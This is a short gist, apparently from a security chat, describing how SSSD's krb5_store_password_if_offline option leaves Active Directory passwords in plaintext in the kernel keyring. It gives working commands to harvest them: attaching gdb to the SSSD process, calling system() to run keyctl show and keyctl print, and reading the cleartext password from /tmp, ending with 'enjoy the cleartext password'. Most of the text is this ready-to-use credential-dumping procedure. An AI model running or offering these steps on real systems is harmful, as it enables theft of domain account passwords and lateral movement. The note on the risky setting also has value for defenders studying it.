Retrieving SSSD plain text passwords (krb5_store_password_if_offline)

gistfile1.txt

for who ever this interest, if you enable krb5_store_password_if_offline   in the SSSD configuration, the AD password for accounts is stored in plaintext in the kernel keyring
to dump the clear text password you can do :

```
gdb -p <PID_OF_SSSD>
call system("keyctl show > /tmp/output")
```

From the /tmp/output locate the key_id for the user you want
Example of an output is : 
Session Keyring
 204928979 --alswrv      0     0  keyring: _ses
 471547288 --alswrv      0     0   \_ user: user@evilcorp.local
now again in GDB do the following : 

```
call system("keyctl print 471547288 > /tmp/output") # or whatever key_id from the past output
```

enjoy the cleartext password in /tmp/output :)

Credit to @shelld0n and @leftp for the original paper. From the BloodHoundGang Slack on 2020-10-06.